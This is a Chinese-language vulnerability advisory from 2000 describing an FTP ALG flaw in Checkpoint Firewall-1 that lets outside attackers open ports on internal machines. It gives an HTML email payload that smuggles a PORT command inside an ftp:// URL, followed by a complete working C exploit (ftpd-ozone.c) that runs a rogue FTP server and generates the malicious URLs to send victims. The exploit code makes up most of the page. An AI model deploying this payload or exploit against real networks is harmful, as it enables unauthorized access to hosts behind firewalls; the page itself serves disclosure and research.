首页 -> 安全研究

安全研究

安全漏洞
多种防火墙产品FTP "ALG" client漏洞导致内部主机被非法访问

发布日期:2000-03-14
更新日期:2000-03-14

受影响系统:
Checkpoint Software Firewall-1 4.0
Checkpoint Software Firewall-1 3.0
描述:

很多防火墙产品对某些规则的处理上存在安全漏洞。这可能允许防火墙外的用户可以突破防火
墙的限制访问到防火墙内部的资源。
例如,通过发送包含下列HTML语句的email给防火墙内的用户:
<img src="ftp://ftp.rooted.com/aaaa[lots of A]aaaPORT 1,2,3,4,0,139">
如果该用户的邮件阅读程序支持HTML,那么它将连往ftp.rooted.com,通过调整'A'字符的数目,
防火墙将错误的将RETR /aaaaaaaa[....]aaaaaPORT 1,2,3,4,0,139语句解析成:
    RETR aaaaaaaaaa
    PORT 1,2,3,4,0,139
这样该用户的机器就打开了一个139端口,并允许ftp.rooted.com(被攻击者控制的机器)
连接。这里的139端口可以用其他的端口代替,除非防火墙屏蔽了那些众所周知的服务端口。    



<* 来源: Mikael Olsson <mikael.olsson@enternet.se> *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/*
  ftpd-ozone.c

  Demonstrate the FTP reverse firewall penetration technique
  outlined by Mikael Olsson, EnterNet Sweden AB.

  Tested against Netscape, Microsoft IE, Lynx, Wget. YMMV.
  
  Copyright (c) 2000 Dug Song <dugsong@monkey.org>
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/telnet.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define WINDOW_LEN    42
#define FTPD_PORT    21

#define GREEN        "\033[0m\033[01m\033[32m"
#define OFF        "\033[0m"

#define int_ntoa(x)    (inet_ntoa(*(struct in_addr *)&x))

void
usage(void)
{
  fprintf(stderr, "Usage: ftpd-ozone [-w win] <ftp-client> <port-to-open>\n");
  exit(1);
}

/* Strip telnet options, as well as suboption data. */
int
strip_telopts(u_char *buf, int len)
{
  int i, j, subopt = 0;
  char *p;
  
  for (i = j = 0; i < len; i++) {
    if (buf[i] == IAC) {
      if (++i >= len) break;
      else if (buf[i] > SB)
    i++;
      else if (buf[i] == SB) {
    p = buf + i + 1;
    subopt = 1;
      }
      else if (buf[i] == SE) {
    if (!subopt) j = 0;
    subopt = 0;
      }
    }
    else if (!subopt) {
      /* XXX - convert isolated carriage returns to newlines. */
      if (buf[i] == '\r' && i + 1 < len && buf[i + 1] != '\n')
    buf[j++] = '\n';
      /* XXX - strip binary nulls. */
      else if (buf[i] != '\0')
    buf[j++] = buf[i];
    }
  }
  buf[j] = '\0';
  
  return (j);
}

u_long
resolve_host(char *host)
{
  u_long addr;
  struct hostent *hp;
  
  if (host == NULL) return (0);
  
  if ((addr = inet_addr(host)) == -1) {
    if ((hp = gethostbyname(host)) == NULL)
      return (0);
    memcpy((char *)&addr, hp->h_addr, sizeof(addr));
  }
  return (addr);
}

#define UC(b)    (((int)b)&0xff)

int
portnum2str(char *buf, int size, u_long ip, u_short port)
{
  char *p, *q;

  port = htons(port);
  p = (char *)&ip;
  q = (char *)&port;
  
  return (snprintf(buf, size, "%d,%d,%d,%d,%d,%d",
           UC(p[0]), UC(p[1]), UC(p[2]), UC(p[3]),
           UC(q[0]), UC(q[1])));
}

int
portstr2num(char *str, u_long *dst, u_short *dport)
{
  int a0, a1, a2, a3, p0, p1;
  char *a, *p;

  if (str[0] == '(') str++;
  strtok(str, ")\r\n");
  
  if (sscanf(str, "%d,%d,%d,%d,%d,%d", &a0, &a1, &a2, &a3, &p0, &p1) != 6)
    return (-1);

  a = (char *)dst;
  a[0] = a0 & 0xff; a[1] = a1 & 0xff; a[2] = a2 & 0xff; a[3] = a3 & 0xff;
  
  p = (char *)dport;
  p[0] = p0 & 0xff; p[1] = p1 & 0xff;

  *dport = ntohs(*dport);
  
  return (0);
}

void
print_urls(u_long dst, u_short dport, int win)
{
  char *p, host[128], tmp[128];
  u_long ip;
  
  gethostname(host, sizeof(host));
  ip = resolve_host(host);
  strncpy(host, int_ntoa(ip), sizeof(host));

  /* XXX - "MDTM /\r\n" for Netscape, "CWD /\r\n" for MSIE. i suk. */
  win -= (4 + 2 + 2);
  p = malloc(win + 1);
  memset(p, 'a', win);
  p[win] = '\0';

  portnum2str(tmp, sizeof(tmp), dst, dport);
  
  printf("Netscape / Lynx URL to send client at %s:\n"
     "ftp://%s/%s%%0a%%0dPORT%%20%s\n",
     int_ntoa(dst), host, p, tmp);
  printf("MSIE / Wget URL to send client at %s:\n"
     "ftp://%s/a%s%%0a%%0dPORT%%20%s\n",
     int_ntoa(dst), host, p, tmp);
  
  free(p);
}

int
init_ftpd(int port, int win)
{
  int fd, i = 1;
  struct sockaddr_in sin;
  
  if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
    return (-1);

  if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i)) == -1)
    return (-1);

  if (setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &win, sizeof(win)) == -1)
    return (-1);
  
  memset(&sin, 0, sizeof(sin));
  sin.sin_family = AF_INET;
  sin.sin_addr.s_addr = htonl(INADDR_ANY);
  sin.sin_port = htons(port);
  
  if (bind(fd, (struct sockaddr *)&sin, sizeof(sin)) == -1)
    return (-1);
  if (listen(fd, 10) == -1)
    return (-1);

  return (fd);
}

void
do_ftpd(int fd)
{
  FILE *f;
  char buf[1024];
  int len, portcmd = 0;
  u_long ip;
  u_short port;

  if ((f = fdopen(fd, "r+")) == NULL)
    return;

  fprintf(f, "220 ftpd-ozone ready for love.\r\n");
  
  while (fgets(buf, sizeof(buf), f) != NULL) {
    if ((len = strip_telopts(buf, strlen(buf))) == 0)
      continue;
    
    if (strncasecmp(buf, "SYST", 4) == 0) {
      fprintf(f, "215 ftpd-ozone\r\n");
    }
    else if (strncasecmp(buf, "USER ", 5) == 0) {
      fprintf(f, "331 yo there\r\n");
    }
    else if (strncasecmp(buf, "PASS ", 5) == 0) {
      fprintf(f, "230 sucker\r\n");
    }
    else if (strncasecmp(buf, "PWD", 3) == 0) {
      fprintf(f, "257 \"/\" is current directory\r\n");
    }
    else if (strncasecmp(buf, "PASV", 4) == 0) {
      fprintf(f, "502 try PORT instead ;-)\r\n");
      /*fprintf(f, "425 try PORT instead ;-)\r\n");*/
    }
    else if (strncasecmp(buf, "PORT ", 5) == 0) {
      if (portstr2num(buf + 5, &ip, &port) != 0)
    fprintf(f, "500 you suk\r\n");
      else {
    fprintf(f, "200 ready for love\r\n");
    if (portcmd++ < 2)    /* XXX */
      printf(GREEN "try connecting to %s %d" OFF "\n", int_ntoa(ip), port);
      }
    }
    else if (strncasecmp(buf, "CWD ", 4) == 0 ||
         strncasecmp(buf, "TYPE ", 5) == 0) {
      fprintf(f, "200 whatever\r\n");
    }
    else if (strncasecmp(buf, "NLST", 4) == 0) {
      fprintf(f, "550 you suk\r\n");
    }
    else if (strncasecmp(buf, "MDTM ", 5) == 0) {
      fprintf(f, "213 19960319165527\r\n");
    }
    else if (strncasecmp(buf, "RETR ", 5) == 0 ||
         strncasecmp(buf, "LIST", 4) == 0) {
      fprintf(f, "150 walking thru your firewall\r\n");
    }
    else if (strncasecmp(buf, "QUIT", 4) == 0) {
      fprintf(f, "221 l8r\r\n");
      break;
    }
    else fprintf(f, "502 i suk\r\n");
  }
  fclose(f);
}

int
main(int argc, char *argv[])
{
  int c, sfd, cfd;
  u_long dst;
  u_short dport, win = WINDOW_LEN;
  struct sockaddr_in sin;

  while ((c = getopt(argc, argv, "w:h?")) != -1) {
    switch (c) {
    case 'w':
      if ((win = atoi(optarg)) == 0)
    usage();
      break;
    default:
      usage();
    }
  }
  argc -= optind;
  argv += optind;
  
  if (argc != 2)
    usage();

  if ((dst = resolve_host(argv[0])) == 0)
    usage();
  
  if ((dport = atoi(argv[1])) == 0)
    usage();

  if ((sfd = init_ftpd(FTPD_PORT, win)) == -1) {
    perror("init_ftpd");
    exit(1);
  }
  print_urls(dst, dport, win);
  
  for (;;) {
    c = sizeof(sin);
    if ((cfd = accept(sfd, (struct sockaddr *)&sin, &c)) == -1) {
      perror("accept");
      exit(1);
    }
    printf("connection from %s\n", inet_ntoa(sin.sin_addr));
      
    if (fork() == 0) {
      close(sfd);
      do_ftpd(cfd);
      close(cfd);
      exit(0);
    }
    close(cfd);
  }
  exit(0);
}

/* w00w00! */

建议:
暂无

浏览次数:7051
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障